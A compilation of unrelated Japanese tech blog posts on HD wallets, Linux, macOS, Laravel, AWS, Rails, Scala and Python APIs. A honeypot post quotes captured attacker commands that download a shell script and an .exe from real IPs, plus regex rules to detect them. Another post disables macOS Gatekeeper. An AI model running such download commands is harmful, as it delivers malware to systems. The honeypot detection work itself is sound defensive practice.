ビットコインなどの暗号通貨で使用されているアドレスはECDSA（Elliptic Curve Digital Signature Algorithm、楕円曲線電子署名アルゴリズム）の公開鍵である。昔は単にアドレスが必要になる度に乱数を生成して秘密鍵とし、対応する公開鍵を導出していた。コインを受け取るために明示的にアドレスを作成する場合はもちろん、たいていは、プライバシーのために、送金時のお釣りは元のアドレスに戻すのではなく新規にお釣り用アドレスが作成される。生成した秘密鍵はその都度バックアップしておかないとディスクがクラッシュしたらコインが失われる（さすがにそれでは不便なので、Bitcoin Coreではまとめて100個のアドレスを生成する。実際は100個ごとのバックアップで良い）。また、数が増えてくると紙などのアナログな手段でバックアップするのは現実的ではなく、ファイルとして保存することになる。

最近のクライアントではHDウォレットというものが用いられている。1個の乱数からツリー状に多数のアドレスを生成できる。何らかのウォレットを使い始めたときに「この単語をメモしておけ」と12個の単語（mnemonic phrase）が出てくる。これがルートの乱数。これならばバックアップするのはルートの乱数のみで良いし、アナログな手段でもバックアップできる。

![image.png](https://qiita-image-store.s3.amazonaws.com/0/25276/e1bdf944-6817-7f33-25e0-752e1742de64.png)

ツリー状にアドレスを生成するだけならば、何らかのルールを決めるだけの話である。が、「あるノード以下のアドレス（公開鍵）の生成は他人に任せるけれど、そのアドレスからコインを引き出せる（秘密鍵を知っている）のは自分だけ」ということが、HDウォレットを使うとできると知った。どのようにして実現しているのかが気になってHDウォレットの仕様（BIP）を読んでみたら、ECDSAを上手く使っていて面白かった。普通に考えると、まず秘密鍵を作り秘密鍵から公開鍵を導出するので、そのようなことは不可能に思える。

# ECDSA

[楕円曲線DSA \- Wikipedia](https://ja.wikipedia.org/wiki/%E6%A5%95%E5%86%86%E6%9B%B2%E7%B7%9ADSA)

ECDSAにおいて、秘密鍵は整数$k$であり、公開鍵は楕円曲線上の点$K=kG=(x, y)$である。楕円曲線もベースポイント$G$も固定の値。ビットコインが使用しているsecp256k1のそれぞれの値は、[ここ](https://en.bitcoin.it/wiki/Secp256k1)に載っている。楕円曲線暗号では楕円曲線上の点の加算が定義されている。$k$個の$G$を足し合わせるとして、乗算$kG$も定義される。実際に$k$回足し合わせなくても、バイナリ法で$O(\log k)$で計算できる。一方、$kG$と$G$から現実的な時間で$k$を求めることはできない。

# HDウォレット

[bips/bip\-0032\.mediawiki at master · bitcoin/bips](https://github.com/bitcoin/bips/blob/master/bip-0032.mediawiki)

HDウォレットでは、親のノードの秘密鍵や公開鍵と「チェインコード」と呼ばれる整数、子ノードのインデックス（その親の何番目の子か）を元に、子ノードの秘密鍵や公開鍵とチェインコードを作る。親ノードの秘密鍵を$k_{par}$、チェインコードを$c_{par}$、インデックスを$i$とする。親ノードの公開鍵は$k_{par}G$となる。$k_{par}G$、$c_{par}$、$i$をハッシュ関数に通して、整数$l$を得る。$l$を上位ビット$l_L$と$l_R$に分けて、$k_i=l_L+k_{par}$を子ノードの秘密鍵、$c_i=l_R$を子ノードのチェインコードとする。チェインコードは親ノードの公開鍵とチェインコードを知っていれば導出できることが分かる。

問題は公開鍵。親の公開鍵$k_{par}G$しか知らなくても$l_L$は計算できるが、秘密鍵を得るためには親の秘密鍵が必要。公開鍵しか知らない場合、子ノードの公開鍵は$l_LG+k_{par}G$として求める。分配法則が成り立つので、$l_LG+k_{par}G=(l_L+k_{par})G=k_{i}G$となる。面白い。

![image.png](https://qiita-image-store.s3.amazonaws.com/0/25276/cf7dfa69-54c3-ff52-ba50-74fe7bdb6d53.png)
赤線は逆算できないところ。

一つ問題があって、子の秘密鍵を知っていると$k_i=l_L+k_{par}$から親の秘密鍵が求められてしまう。さらに遡ったり兄弟の秘密鍵を求めることもできる。そこで、強化鍵（hardened key）という仕様もあって、親の公開鍵だけから子の公開鍵を計算できるという特徴を無くす代わりに、親の秘密鍵を求められないようにすることもできる。
port111がListenしていたので止めた

自鯖に`nmap -F`したらタイトル通りだったのでぐぐってみた。

[弁財天: rpcbindの111番ポートのsystemd脆弱性 update2](http://benzaiten.dyndns.org/roller/ugya/entry/systemd-listen-111-port)

>どうやらsystemdが111番ポートでLISTENしてる実装が脆弱性らすい。rpcbindのポートはNFSを動作させるのに必要だったのはNFSv3までの話で、いまのNFSv4では不要。

以下の設定をして再起動。

```
# cp -a /usr/lib/systemd/system/rpcbind.socket /etc/systemd/system/
# vi /etc/systemd/system/rpcbind.socket

[Unit]
Description=RPCbind Server Activation Socket

[Socket]
ListenStream=/var/run/rpcbind.sock
#ListenStream=[::]:111
#ListenStream=0.0.0.0:111
#BindIPv6Only=ipv6-only

[Install]
WantedBy=sockets.target
```
launchdで、ShiftItを自動立ち上げしてみた

## はいけい
開発元未確認のアプリケーションにより、ShiftItが、動かない。
↓
セキュリティとプライバシーから、「すべてのアプリケーションを許可」にして、アプリをたちあげようとするが、
「すべてのアプリケーションを許可」が見当たらない。
↓
` sudo spctl --master-disable `
で、「すべてのアプリケーションを許可」を出現するように変更
↓
ShiftItをクリック。
無事、ShiftIt起動！やったね！
↓
作業開始。
↓
作業終えて、ログアウト。
↓
作業開始するためにログイン。
ShiftItが立ち上がってない。

という感じのことがありました。

クリックすれば、起動はできるのですが、
毎回ログインするたびに、クリックするのめんどくさいなーと思い、
自動化してみました。

## やったこと
```xml:sample.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
  <dict>
    <key>Label</key>
    <string>exex.app</string>
    <key>ProgramArguments</key>
    <array>
      <string>open</string>
      <string>-a</string>
      <string>Shiftit</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
  </dict>
</plist>
```

上記のplistファイルを、
` ~/Library/LaunchAgents `
のディレクトリに置くだけです。

## 環境
macOS High Sierra

## code
https://github.com/mish26/mac-env

## 参考元
https://dev.classmethod.jp/tool/mac-launch-agents/
【Bitcoin】PHP LaravelからBitcoinへのRPC接続方法

# 1．前提
- [Laravel](https://readouble.com/laravel/5.5/ja/installation.html)をインストールしている
- [Bitcoin](https://github.com/bitcoin/bitcoin/tree/0.16)を起動している


# 2．環境
- 使用OS
    - Ubuntu v16.04.4
- 使用言語
    - Bitcoin v0.16
    - PHP v7.2.4
        - Laravel v5.5.40


# 3．ライブラリのダウンロード
PHPからBitcoinへRPC接続を行うため、今回はEasyBitcoin-PHPというライブラリを使用していきます。
→ https://github.com/aceat64/EasyBitcoin-PHP

Laravelのディレクトリから以下のコマンドを叩いていきます。

```bash:lib-download
# こちらは環境に合わせて変更してください
$ cd <laravel project>

# Libs ディレクトリ作成
$ mkdir app/Libs

# easybitcoin.php のダウンロード
$ wget -O app/Libs/Bitcoin.php https://raw.githubusercontent.com/aceat64/EasyBitcoin-PHP/master/easybitcoin.php
$ vim app/Libs/Bitcoin.php
# namespace を記載
# namespace App¥Libs;
```
これでライブラリが使えるようになったので、続いて実装へ移っていきます。

# 4．PHP LaravelからBitcoinへのRPC接続
Bitcoinがregtestモードで起動している前提で進めていきます。

```php:.env
### 上記省略 ###
BITCOIN_RPC_USERNAME=user
BITCOIN_RPC_PASSWORD=password
BITCOIN_RPC_HOST=localhost
# regtest default port
BITCOIN_RPC_PORT=18443
```

```php:config/bitcoin.php
<?php

return [
    'bitcoin_rpc_username' => env('BITCOIN_RPC_USERNAME', 'user'),
    'bitcoin_rpc_password' => env('BITCOIN_RPC_PASSWORD', 'password'),
    'bitcoin_rpc_host' => env('BITCOIN_RPC_HOST', 'localhost'),
    # mainnet default port
    'bitcoin_rpc_port' => env('BITCOIN_RPC_PORT', '8956'),
];
```

```php:routes/web.php
<?php

Route::get('/', 'IndexController@index');
```

```php:app/Http/Controllers/IndexController.php
<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;

use Config;

# 先ほどダウンロードしたライブラリをuseする
use App\Libs\Bitcoin;

class IndexController extends Controller
{
    public function index()
    {
        $bitcoin = new Bitcoin(
            # rpc username
            Config::get('bitcoin.rpc_username'),
            # rpc password
            Config::get('bitcoin.rpc_password'),
            # host
            Config::get('bitcoin.rpc_host'),
            # regtest port
            Config::get('bitcoin.rpc_port')
        );

        # getbalance() で残高を取得する
        print_r($bitcoin->getbalance());
    }
}
```

これでPHP側からBitcoinのRPCコマンドを叩くことができるようになりました。
あとはbitcoin-cliから叩くのと同じような形で使っていけばOKです。

よく使うコマンドについては別記事にまとめてありますので、こちらを見ながら色々なコマンドもお試しください！
→ [bitcoin-cli でよく使うコマンドまとめ(ver 0.16.0)](https://qiita.com/daiki_44/items/cf6ba7ae9572f34d8b52)

```php:sample.php
<?php
# listaccounts() でアカウントごとの残高を取得する
print_r($bitcoin->listaccounts());

# getaccountaddress() で引数のアカウントが持つビットコインアドレスを1つ取得する
print_r($bitcoin->getaccountaddress('アカウント名'));

# getaddressesbyaccount() で引数のアカウントが持つビットコインアドレスを全て取得する
print_r($bitcoin->getaddressesbyaccount('アカウント名'));

# getblock() で引数のブロックハッシュ値のブロックの中身を取得する
print_r($bitcoin->getblock('ブロックのハッシュ値'));

# gettransaction() で引数のトランザクションIDのトランザクションの中身を取得する
print_r($bitcoin->gettransaction('トランザクションID'));

# sendfrom() でコインを送金し、発行されたトランザクションIDを取得する
print_r($bitcoin->sendfrom('送金元アカウント名', '送金先アドレス', '送金額'));
```

# 5．参考文献
- [EasyBitcoin-PHP](https://github.com/aceat64/EasyBitcoin-PHP)
特定ディレクトリ以下のファイルを定期的にS3に同期する

## はじめに

特定のディレクトリの内容をS3にバックアップしたかったので試してみました。
(Dropboxのようにファイル変更時に同期とまではいかず、cronで定期的に同期させました)

環境は

* OS  
  Mac macOS Sierra(v10.12.6)
* aws cliバージョン  
  aws-cli/1.15.10 Python/3.6.5 Darwin/16.7.0 botocore/1.10.10

## バックアップ用のバケットとIAMユーザーを作成

まず、バックアップ用のS3バケットを作成します。

```shell
$ aws s3 mb s3://[バケット名]
make_bucket: [バケット名]
```

次に、自動実行用のユーザーを作成します。
これはAWSマネジメントコンソールにログインして作成しました。

* マネジメントコンソールへのアクセスはオフに設定
* アクセスキーとシークレットキーをダウンロードしておく

ユーザーのインラインポリシーについては下記のようにしました。

```json
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "VisualEditor0",
            "Effect": "Allow",
            "Action": [
                "s3:PutObject",
                "s3:GetObject"
            ],
            "Resource": "arn:aws:s3:::[上で作成したバケット名]/*"
        },
        {
            "Sid": "VisualEditor1",
            "Effect": "Allow",
            "Action": "s3:ListBucket",
            "Resource": "arn:aws:s3:::[上で作成したバケット名]"
        }
    ]
}
```

## シェルスクリプトの作成

下記のようなシェルスクリプトを作成し、任意のディレクトリに保存します。

```shell
#/bin/bash
export AWS_CONFIG_FILE="/root/.aws/config"
export AWS_ACCESS_KEY_ID=[作成したユーザーのアクセスキー]
export AWS_SECRET_ACCESS_KEY=[作成したユーザーのシークレットキー]
/usr/local/bin/aws s3 sync [同期させたいディレクトリの絶対パス] s3://[上で作成したバケット名]/
```

## cronの設定

crontabを編集します。

```shell
$ export EDITOR=emacs # vimとかでもOK
$ crontab -e
```

エディタが立ち上がるので下記の二行を追加して保存し終了します。

```shell
# 1時間おきにS3同期
0 * * * * /bin/bash [シェルスクリプトの絶対パス] >> /tmp/sync-s3.log
```

確認のコマンドを打ってみて、先程入力した内容が反映されていれば成功です。

```shell
$ crontab -l
# 1時間おきにS3同期
0 * * * * /bin/bash [シェルスクリプトの絶対パス] >> /tmp/sync-s3.log
```

## バージョニングの有効化

S3バケットに対し、バージョニングを有効にしておけば、同期時に自動的にファイルのバージョニングを行ってくれます。
そのため、必要に応じて過去のバージョンを取得することが可能になります。

```shell
$ aws s3api put-bucket-versioning --bucket [バケット名] --versioning-configuration Status=Enabled
```

## 結果

下記のようにアップロードに成功したというログが表示されれば成功です。

```shell
$ tail -f /tmp/sync-s3.log
upload: [同期元ファイル] to s3://[バケット名]/[同期先ファイル]
```
## その他

Macでcronの実行ログ(`/var/log/cron.log`)を出力したいときは下記参照。
https://qiita.com/m0a/items/00b099b3025422a6c037
cronの実行ログ設定中に`System Integrity Protection`の`Operation not permitted`エラーが表示された場合は下記参照。
https://qiita.com/tuckQ/items/26c0bebbdfa2e094dba8

## 参考
https://faish.al/2015/11/29/aws-s3-sync-using-crontab/
WOWHoneypotの追加設定(3)

WOWHoneypot Version 1.1が公開されました。
ハンティング機能が追加されましたが、少し設定を追加したいと思います。
GWが終わり、勉強の日々が始まる。

#huntrules.txtの設定追加
正規表現で記載されています。
正規表現を知らないで見たら、呪文のようなコードです。
残念ながら、ここでは正規表現とは何ぞ？は解説しません。

##wgetとcurl系
ファイル取得系を見ていると、以下のように「http://」を含めずにいらっしゃることがあります。
```wget -O /tmp/.XO-lock 188.166.148.89:53/a.sh ```
この場合、huntrules.txtに記載されている正規表現では取得ができませんので、もう少しバッファ持たせて、以下の設定を追加しました。

```追加設定.1
wget.+\d[\w/:\.\-]+
curl.+\d[\w/:\.\-]+
```

この場合、「User-Agent: curl/7.35.0」も該当しますが、そこは確認時に消すようにします。

##mshta
トレンドマイクロの[記事](http://blog.trendmicro.co.jp/archives/2729)にあるように、mshtaはWindowsに標準搭載されている正規のシステムファイルで、指定のサイトへアクセスさせることが出来ます。
huntrules.txtに含まれていませんでしたので、これも追加します。

```追加設定.2
mshta.+https?://[\w/:\.\-]+
```

##XMLHTTP
MicrosoftのXML DOM（Document Object Model）コンポーネントスイートに、XMLHTTPオブジェクトがあります。[参考](https://codezine.jp/article/detail/37)
これを使い、ファイルを取得してくるパターンもありました。
echoでリダイレクトし、悪性ファイルを作成し、そのファイルをcscript.exe で実行させる。

```こんなの.
echo objXMLHTTP.open "GET","http://198.50.179.109:8020/taskhostxz.exe",false >> C:/Windows/temp/getpocc.vbs
```

```追加設定.3
objXMLHTTP.+https?://[\w/:\.\-]+
```

#終わりに
もっといろんなパターンのファイル取得方法があると思います。
ハニーポッターの人、もっと教えて！
rails Could not find xxxxx in any of the sources (Bundler::GemNotFound)

## railsでサーバを起動したら以下のエラーが発生

```
/Users/yukiyoshimura/.rbenv/versions/2.2.3/bin/ruby -e stdout.sync=true;stdout.sync=true;stderr.sync=true;load($0=ARGV.shift) /Applications/develop/workspace/WantIt/bin/rails server -b 0.0.0.0 -p 3000 -e development
/Users/yukiyoshimura/.rbenv/versions/2.2.3/lib/ruby/gems/2.2.0/gems/bundler-1.16.1/lib/bundler/spec_set.rb:88:in `block in materialize': Could not find font-awesome-rails-4.7.0.4 in any of the sources (Bundler::GemNotFound)
```

## エラーの原因
gemが見つけられない。
探しにいった場所はxxバージョン(上記は2.2.3の配下)ということがわかる


## gemを探しにいっている場所が正しいかの確認

以下を実施

```
gem environment
```

```rb:コマンドの結果
RubyGems Environment:
  - RUBYGEMS VERSION: 2.6.14.1
  - RUBY VERSION: 2.4.4 (2018-03-28 patchlevel 296) [x86_64-darwin16]
  - INSTALLATION DIRECTORY: /Users/yukiyoshimura/.rbenv/versions/2.4.4/lib/ruby/gems/2.4.0
  - USER INSTALLATION DIRECTORY: /Users/yukiyoshimura/.gem/ruby/2.4.0
  - RUBY EXECUTABLE: /Users/yukiyoshimura/.rbenv/versions/2.4.4/bin/ruby
  - EXECUTABLE DIRECTORY: /Users/yukiyoshimura/.rbenv/versions/2.4.4/bin
  - SPEC CACHE DIRECTORY: /Users/yukiyoshimura/.gem/specs
  - SYSTEM CONFIGURATION DIRECTORY: /Users/yukiyoshimura/.rbenv/versions/2.4.4/etc
  - RUBYGEMS PLATFORMS:
    - ruby
    - x86_64-darwin-16
  - GEM PATHS:
     - /Users/yukiyoshimura/.rbenv/versions/2.4.4/lib/ruby/gems/2.4.0
     - /Users/yukiyoshimura/.gem/ruby/2.4.0

```

## わかったこと
・サーバ起動時に探しにいっていたパス:2.2.3配下
・gemのパス2.4.4(bundle installするとこの配下にgemが配置されているはず)  

## 対応
サーバ起動はIDE(RubyMine)で行っていたのでRubymineの設定から`Ruby SDK and Gems`の設定を2.4.4にすることで解決
fields_forの上手な使い方

# fields_forの使い方をマスターしよう
※本記事は子モデルの画像を編集する場合を想定しています。

## 誰のための記事か
・fields_forの使い方がわからない
・新規登録はできるがレコードの更新ができない

## そもそもfields_forとは
>form_for内で異なるモデルを編集できるようになる。

fields_forを使うことによって異なるモデル(子モデル)を編集できるようになる。
例：Articleモデルに紐付くImageモデル

## newで使う

フォーム

```erb:_form.html.erb
<%= form_for @article do |f| %>

  <%= f.text.field :title %>

  <%= f.fields_for :images do |image| %>
    <%= image_tag(image.object.content) %> #画像があれば表示する
    <%= image.file_field :content %>
    <%= image.hidden_field :id, value: image.object.id %> #編集時にはidが必要らしい
  <%= f.submit %>

<% end %>
```

コントローラ

```ruby:articles_controller.rb
def new
  @article = Article.new
  @article.images.build
end

def create
  @article = current_user.articles.build(article_params)
  @article.save
end

def article_params
  params.require(:article).permit(:title, images_attributes: [:content])
end
```

モデル

```ruby:article.rb
has_many :images
accepts_nested_attributes_for :images
```

```ruby:image.rb
belongs_to :article
mount_uploader :image, ImageUploader
```

これで画像を子モデルに保存することができます。

## editで使う

フォーム

```erb:_form.html.erb
#フォームはnewと同じです

<%= form_for @article do |f| %>

  <%= f.text.field :title %>

  <%= f.fields_for :images do |image| %>
    <%= image_tag(image.object.content) %> #画像があれば表示する
    <%= image.file_field :content %>
    <%= image.hidden_field :id, value: image.object.id %> #編集時にはidが必要らしい
  <%= f.submit %>

<% end %>
```

コントローラ

```ruby:articles_controller.rb
def edit
  @article = Article.find(params[:id])
end

def update
  @article.update(update_article_params)
end

def update_article_params
  #update時は[_delete]と[id]が必要
  params.require(:article).permit(:title, images_attributes: [:content, :_destroy, :id])
end
```

モデル

```ruby:article.rb
#もちろんモデルもnewと同じ
has_many :images
accepts_nested_attributes_for :images
```

```ruby:image.rb
#もちろんモデルもnewと同じ
belongs_to :article
mount_uploader :image, ImageUploader
```

これだけで画像の更新ができてしまいます。

##最後に
fields_forの使い方は意外と難しく、記事もあまり数がありません。
少しでも皆様のお役に立てば幸いです。

##参考文献
http://railsdoc.com/references/fields_for
EntityFrameworkのMigrationをデバッガで止める方法

# 概要
Update-Databaseの実行を、デバッガで止めたいときがあります。
その方法です。

# やること
1\. Update-Databaseで実行されるコードでDebugger.Launch()を実行します。
DbContextを継承したクラスのデフォルトコンストラクタあたりがいいと思います。

```c#:ApplicationDbContext.cs
        public ApplicationDbContext()
        {
            if (!System.Diagnostics.Debugger.IsAttached)
            {
                System.Diagnostics.Debugger.Launch();
            }
        }
```
2\. パッケージマネージャーコンソールからUpdate-Databaseを実行して、表示されるダイアログからデバッガを選択します。

# 参考URL
- https://stackoverflow.com/questions/16718510/debugging-package-manager-console-update-database-seed-method
    - ほぼ、ここのコピペ
Scalaの勉強(1)

#Scalaの勉強
勉強会などでScalaを使用することがあるのですが、基礎的な事を学んだ事がなく、なんとなくかけてしまってるだけで正確な知識が身についていないため、改めて勉強していくことにしました。
飽きっぽい性格なので、Qiitaに投稿しながら勉強することでモチベーションを向上図りつつ、学んだことを記述していこうと思います。

###参考書籍
Scalaプログラミング入門
https://www.amazon.co.jp/SCALA%E3%83%97%E3%83%AD%E3%82%B0%E3%83%A9%E3%83%9F%E3%83%B3%E3%82%B0%E5%85%A5%E9%96%80-%E3%83%87%E3%82%A4%E3%83%93%E3%83%83%E3%83%89%E3%83%BB%E3%83%9D%E3%83%A9%E3%83%83%E3%82%AF/dp/4822284239

###定番のHello World
```Scala
println("Hello World")
```

###変数の定義
valは初期化後に再代入できない。
varは再代入可能。

```Scala
val a: String = "aaa"
// 型推論で型の省略が可能
val b = "bbb"

var c: Int = 1
c = 2
```

###for文
```Scala
for {i <- 1 to 10} {
 println(i)
}
```

###実行結果
```
1
2
3
...
10
```

###メソッドの定義
メソッドの定義はdefを使う。

```Scala
def fuga(name: String) {
 println(name)
}
```

###戻り値を返すメソッド

```Scala
def sumInt(a: Int, b: Int) : Int = {
 return a + b 
}
```

###classの定義
```Scala
class Hoge() {
 println("aaaa")
}

new Hoge()
// aaaa
```
※Scalaでは明示的に宣言しない限り、アクセスレベルは全てパブリックになるそうです。

##Objectの定義
```Scala
object myApp {
 def fuga() {
  println("test")
 }
}

myApp.fuga()
// test
```
PythonでGoogle ColaboratoryとGoogle Driveのファイルのやりとりする（2)

### 2.必要なライブラリのインストール
https://developers.google.com/drive/v3/web/quickstart/python

Step 2: Install the Google Client Library
Run the following command to install the library using pip:
pip install --upgrade google-api-python-client

Colaboratoryに関しては最初からインストール済なので不要だが、
他の端末でGoogle DriveのAPIを使用する場合は必要。

```bash:install
! pip install --upgrade google-api-python-client
```

### 3.serviceの作成（quickstart.pyの実行）
下記のコードにより、前回の記事で作成した'client_secret.json'をColaboratory上にアップロードする。

```python:upload
#file upload dialog
import google.colab.files as ggl
fname=ggl.upload()
print(fname)
```

小技として、以下のようにするとアップロードしたファイルの名前をfnameと定義できる。

```python:printname
#print name
fname = [k for k in fname.keys()][0]
print(fname)
```

そして、名前の変更は以下の通り。

```python:rename
#change the token name
import os
os.rename(fname,'client_secret.json')
```

チュートリアルには
Step 3: Set up the sample
Create a file named quickstart.py in your working directory and copy in the following code:
とあり、quickstart.pyを作成して、Colaboratoryにアップロードしたうえで、

```bash:quickstart
run quickstart.py --noauth_local_webserver
```
を行うのが方法がオーソドックスな方法。

ファイルを作ったり、そのコードをアップロードするのが手間がかかるので、
下記のコードによっても同じことができます。

```python:service
import sys
from oauth2client import file, client, tools
from oauth2client.tools import argparser, run_flow
from apiclient.discovery import build
from httplib2 import Http
def service():
    sys.argv=[]
    args = argparser.parse_args()
    args.noauth_local_webserver = True

    SCOPES = 'https://www.googleapis.com/auth/drive'
    store = file.Storage('./credentials.json')
    creds = store.get()
    if not creds or creds.invalid:
        flow = client.flow_from_clientsecrets('client_secret.json', SCOPES)
        creds = tools.run_flow(flow, store,args)
    service = build('drive', 'v3', http=creds.authorize(Http()))
    return service
service=service()
```

注1)パラメータの設定
クラウド上のColaboratoryではない端末である、ローカルPCで認証するため、
パラメータ "--noauth_local_webserver"を設定する必要があります。
下記のコードはよくみると、頑張ってこのパラメータが渡されるようにしています。
注2)権限の設定
元のコードの'https://www.googleapis.com/auth/drive.metadata.readonly'
を変更しています。
詳細については、下記を確認してください。
https://developers.google.com/drive/v2/web/about-auth

成功すると、WEBのリンクが表示されるので、クリックすると認証ページになります。
承認後、コードが表示されるので、Colaboratory上のEnter verification code: と書かれた右側に入力してエンターキーを押すことで認証完了です。
次回は、作成したこのservice (Resource in module googleapiclient.discovery object)を使用して、クエリの実行や、ファイルのダウンロード、アップロードを行います。
React native プロジェクト新規作成時 エラー　について

# 最近流行りのreact nativeを使ってみようと思いプロジェクトを新規作成しようとした時

npx react-native init project_name

のコマンドを打っても

Looks like you installed react-native globally, maybe you meant react-native-cli?
To fix the issue, run:
npm uninstall -g react-native
npm install -g react-native-cli

とひたすら怒られる。上記のコマンドを実行しても変わらず、、、、、、、、、、、

# 解決法
 npx react-native-cli init project_name

このコマンドを打ったらすんなりいけた

 maybe you meant react-native-cli?とエラー文で言われたのでもしかしてと思いこれを実行したらいけました。。。。。。。　が原因は不明のままですっっっw
Bracketsのライブプレビューで、いちいち保存しないとブラウザに反映されなくなる不具合が出た時の対処

## あらまし
新しい環境にBracketsを導入して動作確認したら、稲妻マークのところに「保存して反映」と表示されてしまう。

対処は以下を参考。

https://github.com/adobe/brackets/issues/8351

> Unbelievable... - It started to work properly after Shift+F5 and still working properly after F5 (again with Emmet plugin). - So simple. Thank you.

「拡張機能なしでリロード」をしてから「拡張機能付きでリロード」を選択することで対処できた。

困ってる方、お試しあれ。

# 実際の手順
Ctrl+F5 でリロードし、
F5でもう一回リロードする。
その後、ライブプレビューを試す。
今更ながら、pythonでTwitterを操作してみた

Pythonに慣れようと思い、今更ながら、Twitterを操作してみました。

今回は、Twitterの各種トークンを発行と、自分の発言を取得してみました。

<h1>Twitterの各種トークン</h1>
「https://apps.twitter.com」にアクセスし、
[Create New App]で新規作成

<img width="1006" alt="スクリーンショット 2018-05-06 17.49.50.png" src="https://qiita-image-store.s3.amazonaws.com/0/246668/7a869f04-70f6-cd3a-e626-cd3f03c0b3aa.png">

赤印のとこを記載。
注意としては、自分のアカウントに電話番号の登録をしておくことです。

作成が終わったら、上記タブの「Keys and Access Tokens」を選択して、各種トークンを発行します。
必要なトークンは、
    <h6>Consumer Key (API Key)　</h6>
    <h6>Consumer Secret (API Secret)</h6>
    <h6>Access Token</h6>
    <h6>Access Token Secret</h6>

<h1>ライブラリのインストール</h1>
     pip install python-twitter
上記コマンドでインストールします

<h1>コード</h1>
    import twitter

    api =twitter.Api(consumer_key='',
                  consumer_secret='',
                  access_token_key='',
                  access_token_secret=''
                  )

    statuse = api.GetUserTimeline(api.VerifyCredentials().id, count=10)

    for c in coment:
        print(c.text)

今回は、自分の発言を最新から１０件取得してみます。
「count」の数字を変えれば、最大で200件取得できます。

<h1>エラー</h1>
AttributeError: module 'twitter' has no attribute 'Api'
上記のエラーが出ました。
どうやら、ファイルの名前を「twitter.py」にしていたために、競合してPCがわけわかんないと拗ねたよう。
ファイルの名前を「test_twitter.py」に変更して、再度実行。

<h1>結果</h1>
<img width="996" alt="スクリーンショット 2018-05-06 18.11.25.png" src="https://qiita-image-store.s3.amazonaws.com/0/246668/e805aaeb-ea60-a201-f010-89f3acd1d65f.png">
無事できました。
改めて、Python凄いなって思いました。
今後もPythonで色々やっていきたいと思います。

参考資料
https://github.com/bear/python-twitter#api
Windows 7のスタートメニューからフォルダを開きたい

### ◆ 背景

1. 最近スタートメニューを使うようになった。

1. フォルダのショートカットはスタートメニューの検索から除外されてしまう。

1. batなら検索に引っかかる。

1. bat経由でショートカットに引数持たせて開こう。けどつくるの面倒くさいから自動化しよう。

1. ショートカットはbatでつくれないらしくVBSなら作れるぽい。作った。

### ◆ 手順

1. explorerOpen.batとcreateShortcut.vbsを同じ場所につくる。

1. createShortcut.vbsにショートカットを作りたいフォルダをドロップ

1. 対象フォルダの引数をもったbatへのショートカット(.lnk)ができる。

1. スタートメニューの検索対象フォルダ(Userのスタートメニュー等)にいれる。

1. スタートメニューの検索からフォルダが開ける。

### ◆ 参考リンク
ショートカットを作成する｜VBScript Tips
http://www.kanaya440.com/contents/tips/vbs/008.html
標準表示されるアイコンデータはどこにある？ - ITmedia エンタープライズ
http://www.itmedia.co.jp/help/tips/windows/w0052.html


------------------------------------------------------------

### ◆ スクリプト
explorerOpen.bat

```vbs
REM 引数のフォルダを開く
explorer %1
```

createShortcut.vbs

```vbs
' createShortcut.vbs
' 引数チェック
if WScript.Arguments.Count = 0 then
    WScript.echo("Require target.")
    WScript.Quit(-1)
end if
targetFullPath = WScript.Arguments(0)

' 開く処理用Batの指定
set fileSystemObject = createObject("Scripting.FileSystemObject")
scriptPath = fileSystemObject.getParentFolderName(WScript.ScriptFullName)
openBat = scriptPath + "\explorerOpen.bat"

' ショートカットの作成
saveFilePath = targetFullPath + ".lnk"
Set shell = WScript.CreateObject("WScript.Shell")
Set newShortCut = shell.CreateShortcut(saveFilePath)
newShortCut.TargetPath = openBat
' """" <- ダブルクオーテーション表現
newShortCut.Arguments =  """" + targetFullPath + """"
' フォルダアイコンを指定
newShortCut.IconLocation = "%SystemRoot%\system32\SHELL32.dll,3"
newShortCut.Save
```